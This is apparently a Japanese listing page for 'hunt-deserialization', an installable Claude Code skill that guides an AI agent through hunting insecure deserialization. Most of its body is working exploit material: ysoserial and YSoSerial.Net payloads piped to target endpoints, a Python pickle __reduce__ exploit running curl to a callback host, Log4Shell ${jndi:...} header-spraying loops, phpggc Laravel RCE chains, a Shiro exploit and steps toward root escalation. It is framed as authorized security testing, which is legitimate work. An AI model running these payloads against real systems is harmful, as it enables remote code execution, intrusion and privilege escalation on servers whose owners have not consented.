hunt-deserialization について
Java、PHP、Python、.NET、Ruby、JNDI の安全でないデシリアライズを調べるセキュリティテスト用スキルです。攻撃面の兆候、調査手順、検証方法、注意点をまとめています。
主な機能
- 01言語別のデシリアライズ検査
- 026種類の攻撃面に沿った手順
- 03帯域外・応答による検証
- 04誤検知とペイロードの問題対処
- 05関連するセキュリティテストスキル
活用シーン
- 01アプリケーションのエンドポイントで不安全なデシリアライズを調査
- 02シリアライズ入力によるコマンド実行の可否を確認
- 03許可されたテストでブラインドコールバックを検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-deserializationインストール後、Claude Code で/hunt-deserializationを入力して読み込まれたか確認します。
詳細
HUNT-DESERIALIZATION — 安全でないデシリアライズ
最重要ターゲット
デシリアライズのバグはほぼ常に重大度「Critical」です。前提条件なしで直接RCEにつながるためです。
特に価値の高いチェーン:
- Java ysoserial ガジェットチェーン — CommonsCollections、Spring、JNDI、Groovy のガジェット → OS コマンドを完全に実行
- PHP オブジェクトインジェクション —
__wakeup/__destructマジックメソッド → ファイル書き込み / RCE - Python pickle —
pickle.loads(attacker_data)→__reduce__→os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate ガジェットチェーン → RCE
- Ruby Marshal.load — Gem::Requirement、Gem::Installer のガジェット → RCE
- JNDI インジェクション — Log4Shell のパターン:
${jndi:ldap://attacker/a}→ クラス読み込み → RCE
攻撃対象領域のシグナル
検出パターン
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl --max-time 30 --connect-timeout 10 -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
ヘッダー / Cookie のシグナル
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
段階的なハンティング手法
フェーズ 1 — Java デシリアライズ(ysoserial)
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
フェーズ 2 — PHP オブジェクトインジェクション
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
フェーズ 3 — Python pickle
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
フェーズ 4 — .NET ViewState
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
フェーズ 5 — Log4Shell / JNDI
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
フェーズ 6 — Ruby Marshal
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets
チェーン表
| デシリアライズのシグナル | チェーンの行き先 | 影響 |
|---|---|---|
| 任意のデシリアライズ RCE | /etc/passwd + id の出力 | 任意のコマンド実行を証明 |
| 低権限ユーザーとしての RCE | SUID バイナリ / sudo ルールを探す | 権限昇格 → root |
| ブラインド RCE(OOB コールバック) | DNS コールバック → 実行を確認 | Critical の PoC として十分 |
| Log4Shell | LDAP → JNDI → クラス読み込み | JVM プロセス上での完全な RCE |
自動化
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit
検証
✅ COLLAB ホストからの DNS/HTTP コールバック:ブラインドデシリアライズを確認 ✅ レスポンス内のコマンド出力:完全な RCE を確認
重大度: ほぼ常に Critical — サーバープロセスの権限での RCE。
確認
- ysoserial の有無 — ysoserial がインストールされているか確認します:
which ysoserial 2>/dev/null || ls /opt/ysoserial*.jar 2>/dev/null | head -1 && echo "PASS: ysoserial found" || echo "NOTE: ysoserial not installed" - PHP デシリアライズテスト — PHP ペイロードの生成を確認します:
php -r "echo serialize(['test'=>'value']);" 2>/dev/null && echo "PASS: PHP serialize works" || echo "NOTE: PHP not available"
すべてのテストでデシリアライズのプロービングを確認します。
注意点
- ガジェットチェーンのない ysoserial ペイロード — ペイロードの生成はエクスプロイトではありません。対象のクラスパスに特定のガジェットが含まれていることを確認する必要があります。
- Java デシリアライズと PHP unserialize の違い — 言語もツールも異なります。ペイロードを混同して適用しないでください。
- Base64 エンコードされたペイロードをサーバーが生のバイナリとして受け取る場合 — Base64 を受け付けるサーバーもあれば、生のバイナリを受け付けるサーバーもあります。両方のエンコードを試してください。
- Content-Type の不一致 — Java デシリアライズでは通常、
application/x-java-serialized-objectまたはapplication/octet-streamが必要です。Content-Type が間違っていると、通知なく拒否される場合があります。 - WAF によるデシリアライズのフィルタリング — 多くの WAF は、既知の ysoserial ガジェットのシグネチャをブロックします。バグが残っていても、カスタムのガジェットチェーンが必要な場合があります。
関連スキル
hunt-rce— デシリアライゼーションは、サーバーサイドRCEの典型的な経路です。攻撃チェーンの原語:Java ysoserialガジェットチェーン(CommonsCollections6)→ アプリケーションサーバーのユーザー権限でOSコマンドを実行 → 応答内のid/whoami、またはOOBコールバック。hunt-aspnet— ASP.NET ViewStateのデシリアライゼーションは、.NET固有のRCEクラスです。攻撃チェーンの原語:__VIEWSTATEENCRYPTED=""(署名のみ)+ 漏えいした<machineKey>validationKey →ysoserial.net -p ViewState -g TypeConfuseDelegate→ IISワーカープロセスとしてRCE。hunt-lfi— PHPのphar://デシリアライゼーションチェーンは、ファイルアップロードとPHPオブジェクトインジェクションを組み合わせます。攻撃チェーンの原語:ポリグロットJPEG+PHARファイルをアップロード →phar:///path/to/upload.jpg経由でインクルード →__wakeup/__destructマジックメソッドが呼び出される → PHPガジェットチェーン経由でRCE。hunt-xxe— XML外部エンティティ処理は、XMLデシリアライゼーションのシンクと併用されることがよくあります。攻撃チェーンの原語:SOAPエンドポイントがXMLを受け付ける → XXEがOOB DTD経由で/etc/passwdを窃取 → XMLパーサーがXStreamなどを使用している場合はJavaデシリアライゼーションと組み合わせる。hunt-api-misconfig— JWTのalg:noneや弱いHMACシークレットは、デシリアライゼーションと同等です。サーバーが整合性を検証せずにトークンのペイロードをデシリアライズするためです。攻撃チェーンの原語:{"alg":"none","typ":"JWT"}.{"sub":"admin","role":"admin"}.→ サーバーが偽造されたJWTペイロードをデシリアライズされたIDとして受け入れる。security-arsenal— デシリアライゼーションペイロードツリーを確認します。ysoserial Javaガジェットチェーン(CommonsCollections、Spring、JNDI、Groovy、ROME)、ysoserial.net(.NET BinaryFormatter、ViewState、ObjectStateFormatter)、PHPGGC(Laravel、CodeIgniter、Zend)、Python pickleの__reduce__、Ruby MarshalのGem::Installer、JNDI/Log4Shellチェーンが含まれます。triage-validation— Criticalと判定する前に、重大度判定ゲートを適用します。Cookie内のJavaシリアライズオブジェクトヘッダー(AC ED 00 05/rO0ABX)だけでは、アプリケーションがデシリアライズすることの確認にはなりません。OOBコールバックを伴う細工したysoserialペイロードを送信して確認してください。デシリアライゼーションの発見はCriticalですが、デシリアライゼーションの確認はさらに高い価値を持ちます。
コメント
Markdown 対応